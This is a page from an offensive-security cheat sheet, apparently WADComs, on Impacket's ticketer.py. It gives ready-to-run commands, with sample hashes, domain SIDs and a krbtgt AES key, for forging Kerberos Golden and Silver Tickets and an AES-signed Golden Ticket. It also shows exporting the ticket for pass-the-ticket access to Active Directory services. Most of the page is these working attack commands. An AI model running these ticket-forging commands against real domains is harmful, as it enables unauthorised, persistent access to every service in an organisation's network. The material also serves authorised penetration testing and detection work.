WAD · Tool

Impacket-ticketer

3 techniques Linux · Windows · ActiveDirectoryWADComs GPL-3.0

Impacket-GoldenTicket

ExecutionPersistence LinuxWindowsActiveDirectory

Impacket's ticketer.py can perform Golden Ticket attacks, which crafts a valid TGT ticket using a valid user's NTLM hash. It is then possible to access any service using the TGT by requesting a TGS for that service. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Hash: b18b4b218eccad1c223306ea1916885f Domain SID: S-1-5-21-1339291983-1349129144-367733775

python3 ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain test.local -dc-ip 10.10.10.1 john

Native: Exploitation, Persistence
Requires: Username, Hash
Services: Kerberos
Refs: github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py
www.tarlogic.com/en/blog/how-to-attack-kerberos/

Impacket-SilverTicket

ExecutionPersistence LinuxWindowsActiveDirectory

Impacket's ticketer.py can perform Silver Ticket attacks, which crafts a valid TGS ticket for a specific service using a valid user's NTLM hash. It is then possible to gain access to that service. The following command crafts a TGS for the SMB service, which can then be used to gain a shell. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Hash: b18b4b218eccad1c223306ea1916885f Domain SID: S-1-5-21-1339291983-1349129144-367733775 SMB Service: cifs

python3 ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain test.local -dc-ip 10.10.10.1 -spn cifs/test.local john

Native: Exploitation, Persistence
Requires: Username, Hash
Services: Kerberos
Refs: github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py
www.tarlogic.com/en/blog/how-to-attack-kerberos/

Impacket-Ticketer-AES

NEW

PersistenceExecution LinuxActiveDirectoryWindows

Impacket ticketer.py forges golden (or silver) tickets offline; supplying -aesKey signs the ticket with the krbtgt AES256 key instead of the RC4/NT hash, producing an AES-encrypted TGT that blends in with modern Kerberos traffic. The resulting .ccache can be exported to KRB5CCNAME and used by any Impacket tool for pass-the-ticket. Requires the krbtgt AES key and the domain SID. Command Reference: AES256 key: 5db474e563f34e4bb62e04eecd4a6f92 Domain SID: S-1-5-21-1339291983-1349129144-367733775 Domain: test.local Target user: administrator

# Forge an AES golden ticket -> administrator.ccache
ticketer.py -aesKey 5db474e563f34e4bb62e04eecd4a6f92 -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain test.local administrator

# Use it
export KRB5CCNAME=administrator.ccache

Native: Persistence, Exploitation
MITRE: T1558.001
Requires: AES_Key
Services: Kerberos
Refs: github.com/fortra/impacket
book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket
attack.mitre.org/techniques/T1558/001/